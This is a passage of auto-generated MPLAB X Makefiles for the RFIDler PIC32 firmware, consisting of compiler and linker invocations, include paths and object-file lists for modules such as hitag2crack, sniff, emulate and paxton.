@${FIXDEPS} "${OBJECTDIR}/src/hdx.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/hdx.o.d" -o ${OBJECTDIR}/src/hdx.o src/hdx.c
${OBJECTDIR}/src/hitag2crack.o: src/hitag2crack.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/hitag2crack.o.d
@${RM} ${OBJECTDIR}/src/hitag2crack.o
@${FIXDEPS} "${OBJECTDIR}/src/hitag2crack.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/hitag2crack.o.d" -o ${OBJECTDIR}/src/hitag2crack.o src/hitag2crack.c
${OBJECTDIR}/src/paxton.o: src/paxton.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/paxton.o.d
@${RM} ${OBJECTDIR}/src/paxton.o
@${FIXDEPS} "${OBJECTDIR}/src/paxton.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/paxton.o.d" -o ${OBJECTDIR}/src/paxton.o src/paxton.c
endif
# ------------------------------------------------------------------------------------
# Rules for buildStep: compileCPP
ifeq ($(TYPE_IMAGE), DEBUG_RUN)
else
endif
# ------------------------------------------------------------------------------------
# Rules for buildStep: link
ifeq ($(TYPE_IMAGE), DEBUG_RUN)
dist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${OUTPUT_SUFFIX}: ${OBJECTFILES} nbproject/Makefile-${CND_CONF}.mk /opt/microchip/xc32/v1.40/pic32mx/lib/libmchp_peripheral_32MX795F512L.a
@${MKDIR} dist/${CND_CONF}/${IMAGE_TYPE}
${MP_CC} $(MP_EXTRA_LD_PRE) -mdebugger -D__MPLAB_DEBUGGER_PK3=1 -mprocessor=$(MP_PROCESSOR_OPTION) -o dist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${OUTPUT_SUFFIX} ${OBJECTFILES_QUOTED_IF_SPACED} /opt/microchip/xc32/v1.40/pic32mx/lib/libmchp_peripheral_32MX795F512L.a -mreserve=boot@0x1FC02000:0x1FC02FEF -mreserve=boot@0x1FC02000:0x1FC024FF -Wl,--defsym=__MPLAB_BUILD=1$(MP_EXTRA_LD_POST)$(MP_LINKER_FILE_OPTION),--defsym=__MPLAB_DEBUG=1,--defsym=__DEBUG=1,--defsym=__MPLAB_DEBUGGER_PK3=1,--gc-sections,-Map="${DISTDIR}/${IMAGE_TYPE}.map",--memorysummary,dist/${CND_CONF}/${IMAGE_TYPE}/memoryfile.xml
else
dist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${OUTPUT_SUFFIX}: ${OBJECTFILES} nbproject/Makefile-${CND_CONF}.mk /opt/microchip/xc32/v1.40/pic32mx/lib/libmchp_peripheral_32MX795F512L.a
@${MKDIR} dist/${CND_CONF}/${IMAGE_TYPE}
${MP_CC} $(MP_EXTRA_LD_PRE) -mprocessor=$(MP_PROCESSOR_OPTION) -o dist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${DEBUGGABLE_SUFFIX} ${OBJECTFILES_QUOTED_IF_SPACED} /opt/microchip/xc32/v1.40/pic32mx/lib/libmchp_peripheral_32MX795F512L.a -Wl,--defsym=__MPLAB_BUILD=1$(MP_EXTRA_LD_POST)$(MP_LINKER_FILE_OPTION),--gc-sections,-Map="${DISTDIR}/${IMAGE_TYPE}.map",--memorysummary,dist/${CND_CONF}/${IMAGE_TYPE}/memoryfile.xml
${MP_CC_DIR}/xc32-bin2hex dist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${DEBUGGABLE_SUFFIX}
endif
# Subprojects
.build-subprojects:
# Subprojects
.clean-subprojects:
# Clean Targets
.clean-conf: ${CLEAN_SUBPROJECTS}
${RM} -r build/debug
${RM} -r dist/debug
# Enable dependency checking
.dep.inc: .depcheck-impl
DEPFILES=$(shell "${PATH_TO_IDE_BIN}"mplabwildcard ${POSSIBLE_DEPFILES})
ifneq (${DEPFILES},)
include ${DEPFILES}
endif
================================================
FILE: firmware/Pic32/RFIDler.X/nbproject/Makefile-default.mk
================================================
#
# Generated Makefile - do not edit!
#
# Edit the Makefile in the project folder instead (../Makefile). Each target
# has a -pre and a -post target defined where you can add customized code.
#
# This makefile implements configuration specific macros and targets.
# Include project Makefile
ifeq "${IGNORE_LOCAL}" "TRUE"
# do not include local makefile. User is passing all local related variables already
else
include Makefile
# Include makefile containing local settings
ifeq "$(wildcard nbproject/Makefile-local-default.mk)" "nbproject/Makefile-local-default.mk"
include nbproject/Makefile-local-default.mk
endif
endif
# Environment
MKDIR=mkdir -p
RM=rm -f
MV=mv
CP=cp
# Macros
CND_CONF=default
ifeq ($(TYPE_IMAGE), DEBUG_RUN)
IMAGE_TYPE=debug
OUTPUT_SUFFIX=elf
DEBUGGABLE_SUFFIX=elf
FINAL_IMAGE=dist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${OUTPUT_SUFFIX}
else
IMAGE_TYPE=production
OUTPUT_SUFFIX=hex
DEBUGGABLE_SUFFIX=elf
FINAL_IMAGE=dist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${OUTPUT_SUFFIX}
endif
# Object Directory
OBJECTDIR=build/${CND_CONF}/${IMAGE_TYPE}
# Distribution Directory
DISTDIR=dist/${CND_CONF}/${IMAGE_TYPE}
# Source Files Quoted if spaced
SOURCEFILES_QUOTED_IF_SPACED="/opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/FSIO.c" "/opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/SD-SPI.c" "/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SClib.c" "/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SCpic32.c" "/opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/CDC Device Driver/usb_function_cdc.c" /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/usb_device.c src/indala.c src/main.c src/psk.c src/usb_descriptors.c src/util.c src/emulate.c src/ask.c src/fsk.c src/clock.c src/rwd.c src/detect.c src/hitagcrypto.c src/wiegand.c src/comms.c src/nvm.c src/mcp414x.c src/spi.c src/uart3.c src/tags.c src/unique.c src/led.c src/em.c src/hid.c src/read.c src/isr.c src/auto.c src/fdxb.c src/hitag.c src/uid.c src/login.c src/write.c src/auth.c src/q5.c src/vtag.c src/config.c src/select.c src/sdcard.c src/debug_pins.c src/awid.c src/analogue.c src/iso7816.c src/t55x7.c src/sniff.c src/tamagotchi.c src/hdx.c src/hitag2crack.c src/paxton.c
# Object Files Quoted if spaced
OBJECTFILES_QUOTED_IF_SPACED=${OBJECTDIR}/_ext/1209914024/FSIO.o ${OBJECTDIR}/_ext/1209914024/SD-SPI.o ${OBJECTDIR}/_ext/1019771169/SClib.o ${OBJECTDIR}/_ext/1019771169/SCpic32.o ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o ${OBJECTDIR}/_ext/186742988/usb_device.o ${OBJECTDIR}/src/indala.o ${OBJECTDIR}/src/main.o ${OBJECTDIR}/src/psk.o ${OBJECTDIR}/src/usb_descriptors.o ${OBJECTDIR}/src/util.o ${OBJECTDIR}/src/emulate.o ${OBJECTDIR}/src/ask.o ${OBJECTDIR}/src/fsk.o ${OBJECTDIR}/src/clock.o ${OBJECTDIR}/src/rwd.o ${OBJECTDIR}/src/detect.o ${OBJECTDIR}/src/hitagcrypto.o ${OBJECTDIR}/src/wiegand.o ${OBJECTDIR}/src/comms.o ${OBJECTDIR}/src/nvm.o ${OBJECTDIR}/src/mcp414x.o ${OBJECTDIR}/src/spi.o ${OBJECTDIR}/src/uart3.o ${OBJECTDIR}/src/tags.o ${OBJECTDIR}/src/unique.o ${OBJECTDIR}/src/led.o ${OBJECTDIR}/src/em.o ${OBJECTDIR}/src/hid.o ${OBJECTDIR}/src/read.o ${OBJECTDIR}/src/isr.o ${OBJECTDIR}/src/auto.o ${OBJECTDIR}/src/fdxb.o ${OBJECTDIR}/src/hitag.o ${OBJECTDIR}/src/uid.o ${OBJECTDIR}/src/login.o ${OBJECTDIR}/src/write.o ${OBJECTDIR}/src/auth.o ${OBJECTDIR}/src/q5.o ${OBJECTDIR}/src/vtag.o ${OBJECTDIR}/src/config.o ${OBJECTDIR}/src/select.o ${OBJECTDIR}/src/sdcard.o ${OBJECTDIR}/src/debug_pins.o ${OBJECTDIR}/src/awid.o ${OBJECTDIR}/src/analogue.o ${OBJECTDIR}/src/iso7816.o ${OBJECTDIR}/src/t55x7.o ${OBJECTDIR}/src/sniff.o ${OBJECTDIR}/src/tamagotchi.o ${OBJECTDIR}/src/hdx.o ${OBJECTDIR}/src/hitag2crack.o ${OBJECTDIR}/src/paxton.o
POSSIBLE_DEPFILES=${OBJECTDIR}/_ext/1209914024/FSIO.o.d ${OBJECTDIR}/_ext/1209914024/SD-SPI.o.d ${OBJECTDIR}/_ext/1019771169/SClib.o.d ${OBJECTDIR}/_ext/1019771169/SCpic32.o.d ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o.d ${OBJECTDIR}/_ext/186742988/usb_device.o.d ${OBJECTDIR}/src/indala.o.d ${OBJECTDIR}/src/main.o.d ${OBJECTDIR}/src/psk.o.d ${OBJECTDIR}/src/usb_descriptors.o.d ${OBJECTDIR}/src/util.o.d ${OBJECTDIR}/src/emulate.o.d ${OBJECTDIR}/src/ask.o.d ${OBJECTDIR}/src/fsk.o.d ${OBJECTDIR}/src/clock.o.d ${OBJECTDIR}/src/rwd.o.d ${OBJECTDIR}/src/detect.o.d ${OBJECTDIR}/src/hitagcrypto.o.d ${OBJECTDIR}/src/wiegand.o.d ${OBJECTDIR}/src/comms.o.d ${OBJECTDIR}/src/nvm.o.d ${OBJECTDIR}/src/mcp414x.o.d ${OBJECTDIR}/src/spi.o.d ${OBJECTDIR}/src/uart3.o.d ${OBJECTDIR}/src/tags.o.d ${OBJECTDIR}/src/unique.o.d ${OBJECTDIR}/src/led.o.d ${OBJECTDIR}/src/em.o.d ${OBJECTDIR}/src/hid.o.d ${OBJECTDIR}/src/read.o.d ${OBJECTDIR}/src/isr.o.d ${OBJECTDIR}/src/auto.o.d ${OBJECTDIR}/src/fdxb.o.d ${OBJECTDIR}/src/hitag.o.d ${OBJECTDIR}/src/uid.o.d ${OBJECTDIR}/src/login.o.d ${OBJECTDIR}/src/write.o.d ${OBJECTDIR}/src/auth.o.d ${OBJECTDIR}/src/q5.o.d ${OBJECTDIR}/src/vtag.o.d ${OBJECTDIR}/src/config.o.d ${OBJECTDIR}/src/select.o.d ${OBJECTDIR}/src/sdcard.o.d ${OBJECTDIR}/src/debug_pins.o.d ${OBJECTDIR}/src/awid.o.d ${OBJECTDIR}/src/analogue.o.d ${OBJECTDIR}/src/iso7816.o.d ${OBJECTDIR}/src/t55x7.o.d ${OBJECTDIR}/src/sniff.o.d ${OBJECTDIR}/src/tamagotchi.o.d ${OBJECTDIR}/src/hdx.o.d ${OBJECTDIR}/src/hitag2crack.o.d ${OBJECTDIR}/src/paxton.o.d
# Object Files
OBJECTFILES=${OBJECTDIR}/_ext/1209914024/FSIO.o ${OBJECTDIR}/_ext/1209914024/SD-SPI.o ${OBJECTDIR}/_ext/1019771169/SClib.o ${OBJECTDIR}/_ext/1019771169/SCpic32.o ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o ${OBJECTDIR}/_ext/186742988/usb_device.o ${OBJECTDIR}/src/indala.o ${OBJECTDIR}/src/main.o ${OBJECTDIR}/src/psk.o ${OBJECTDIR}/src/usb_descriptors.o ${OBJECTDIR}/src/util.o ${OBJECTDIR}/src/emulate.o ${OBJECTDIR}/src/ask.o ${OBJECTDIR}/src/fsk.o ${OBJECTDIR}/src/clock.o ${OBJECTDIR}/src/rwd.o ${OBJECTDIR}/src/detect.o ${OBJECTDIR}/src/hitagcrypto.o ${OBJECTDIR}/src/wiegand.o ${OBJECTDIR}/src/comms.o ${OBJECTDIR}/src/nvm.o ${OBJECTDIR}/src/mcp414x.o ${OBJECTDIR}/src/spi.o ${OBJECTDIR}/src/uart3.o ${OBJECTDIR}/src/tags.o ${OBJECTDIR}/src/unique.o ${OBJECTDIR}/src/led.o ${OBJECTDIR}/src/em.o ${OBJECTDIR}/src/hid.o ${OBJECTDIR}/src/read.o ${OBJECTDIR}/src/isr.o ${OBJECTDIR}/src/auto.o ${OBJECTDIR}/src/fdxb.o ${OBJECTDIR}/src/hitag.o ${OBJECTDIR}/src/uid.o ${OBJECTDIR}/src/login.o ${OBJECTDIR}/src/write.o ${OBJECTDIR}/src/auth.o ${OBJECTDIR}/src/q5.o ${OBJECTDIR}/src/vtag.o ${OBJECTDIR}/src/config.o ${OBJECTDIR}/src/select.o ${OBJECTDIR}/src/sdcard.o ${OBJECTDIR}/src/debug_pins.o ${OBJECTDIR}/src/awid.o ${OBJECTDIR}/src/analogue.o ${OBJECTDIR}/src/iso7816.o ${OBJECTDIR}/src/t55x7.o ${OBJECTDIR}/src/sniff.o ${OBJECTDIR}/src/tamagotchi.o ${OBJECTDIR}/src/hdx.o ${OBJECTDIR}/src/hitag2crack.o ${OBJECTDIR}/src/paxton.o
# Source Files
SOURCEFILES=/opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/FSIO.c /opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/SD-SPI.c /opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SClib.c /opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SCpic32.c /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/CDC Device Driver/usb_function_cdc.c /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/usb_device.c src/indala.c src/main.c src/psk.c src/usb_descriptors.c src/util.c src/emulate.c src/ask.c src/fsk.c src/clock.c src/rwd.c src/detect.c src/hitagcrypto.c src/wiegand.c src/comms.c src/nvm.c src/mcp414x.c src/spi.c src/uart3.c src/tags.c src/unique.c src/led.c src/em.c src/hid.c src/read.c src/isr.c src/auto.c src/fdxb.c src/hitag.c src/uid.c src/login.c src/write.c src/auth.c src/q5.c src/vtag.c src/config.c src/select.c src/sdcard.c src/debug_pins.c src/awid.c src/analogue.c src/iso7816.c src/t55x7.c src/sniff.c src/tamagotchi.c src/hdx.c src/hitag2crack.c src/paxton.c
CFLAGS=
ASFLAGS=
LDLIBSOPTIONS=
############# Tool locations ##########################################
# If you copy a project from one host to another, the path where the #
# compiler is installed may be different. #
# If you open this project with MPLAB X in the new host, this #
# makefile will be regenerated and the paths will be corrected. #
#######################################################################
# fixDeps replaces a bunch of sed/cat/printf statements that slow down the build
FIXDEPS=fixDeps
.build-conf: ${BUILD_SUBPROJECTS}
ifneq ($(INFORMATION_MESSAGE), )
@echo $(INFORMATION_MESSAGE)
endif
${MAKE} -f nbproject/Makefile-default.mk dist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${OUTPUT_SUFFIX}
MP_PROCESSOR_OPTION=32MX795F512L
MP_LINKER_FILE_OPTION=
# ------------------------------------------------------------------------------------
# Rules for buildStep: assemble
ifeq ($(TYPE_IMAGE), DEBUG_RUN)
else
endif
# ------------------------------------------------------------------------------------
# Rules for buildStep: assembleWithPreprocess
ifeq ($(TYPE_IMAGE), DEBUG_RUN)
else
endif
# ------------------------------------------------------------------------------------
# Rules for buildStep: compile
ifeq ($(TYPE_IMAGE), DEBUG_RUN)
${OBJECTDIR}/_ext/1209914024/FSIO.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD\ File\ System/FSIO.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/_ext/1209914024"
@${RM} ${OBJECTDIR}/_ext/1209914024/FSIO.o.d
@${RM} ${OBJECTDIR}/_ext/1209914024/FSIO.o
@${FIXDEPS} "${OBJECTDIR}/_ext/1209914024/FSIO.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/_ext/1209914024/FSIO.o.d" -o ${OBJECTDIR}/_ext/1209914024/FSIO.o "/opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/FSIO.c"
${OBJECTDIR}/_ext/1209914024/SD-SPI.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD\ File\ System/SD-SPI.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/_ext/1209914024"
@${RM} ${OBJECTDIR}/_ext/1209914024/SD-SPI.o.d
@${RM} ${OBJECTDIR}/_ext/1209914024/SD-SPI.o
@${FIXDEPS} "${OBJECTDIR}/_ext/1209914024/SD-SPI.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/_ext/1209914024/SD-SPI.o.d" -o ${OBJECTDIR}/_ext/1209914024/SD-SPI.o "/opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/SD-SPI.c"
${OBJECTDIR}/_ext/1019771169/SClib.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart\ Card/SClib.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/_ext/1019771169"
@${RM} ${OBJECTDIR}/_ext/1019771169/SClib.o.d
@${RM} ${OBJECTDIR}/_ext/1019771169/SClib.o
@${FIXDEPS} "${OBJECTDIR}/_ext/1019771169/SClib.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/_ext/1019771169/SClib.o.d" -o ${OBJECTDIR}/_ext/1019771169/SClib.o "/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SClib.c"
${OBJECTDIR}/_ext/1019771169/SCpic32.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart\ Card/SCpic32.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/_ext/1019771169"
@${RM} ${OBJECTDIR}/_ext/1019771169/SCpic32.o.d
@${RM} ${OBJECTDIR}/_ext/1019771169/SCpic32.o
@${FIXDEPS} "${OBJECTDIR}/_ext/1019771169/SCpic32.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/_ext/1019771169/SCpic32.o.d" -o ${OBJECTDIR}/_ext/1019771169/SCpic32.o "/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SCpic32.c"
${OBJECTDIR}/_ext/631258897/usb_function_cdc.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/CDC\ Device\ Driver/usb_function_cdc.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/_ext/631258897"
@${RM} ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o.d
@${RM} ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o
@${FIXDEPS} "${OBJECTDIR}/_ext/631258897/usb_function_cdc.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/_ext/631258897/usb_function_cdc.o.d" -o ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o "/opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/CDC Device Driver/usb_function_cdc.c"
${OBJECTDIR}/_ext/186742988/usb_device.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/usb_device.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/_ext/186742988"
@${RM} ${OBJECTDIR}/_ext/186742988/usb_device.o.d
@${RM} ${OBJECTDIR}/_ext/186742988/usb_device.o
@${FIXDEPS} "${OBJECTDIR}/_ext/186742988/usb_device.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/_ext/186742988/usb_device.o.d" -o ${OBJECTDIR}/_ext/186742988/usb_device.o /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/usb_device.c
${OBJECTDIR}/src/indala.o: src/indala.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/indala.o.d
@${RM} ${OBJECTDIR}/src/indala.o
@${FIXDEPS} "${OBJECTDIR}/src/indala.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/indala.o.d" -o ${OBJECTDIR}/src/indala.o src/indala.c
${OBJECTDIR}/src/main.o: src/main.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/main.o.d
@${RM} ${OBJECTDIR}/src/main.o
@${FIXDEPS} "${OBJECTDIR}/src/main.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/main.o.d" -o ${OBJECTDIR}/src/main.o src/main.c
${OBJECTDIR}/src/psk.o: src/psk.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/psk.o.d
@${RM} ${OBJECTDIR}/src/psk.o
@${FIXDEPS} "${OBJECTDIR}/src/psk.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/psk.o.d" -o ${OBJECTDIR}/src/psk.o src/psk.c
${OBJECTDIR}/src/usb_descriptors.o: src/usb_descriptors.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/usb_descriptors.o.d
@${RM} ${OBJECTDIR}/src/usb_descriptors.o
@${FIXDEPS} "${OBJECTDIR}/src/usb_descriptors.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/usb_descriptors.o.d" -o ${OBJECTDIR}/src/usb_descriptors.o src/usb_descriptors.c
${OBJECTDIR}/src/util.o: src/util.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/util.o.d
@${RM} ${OBJECTDIR}/src/util.o
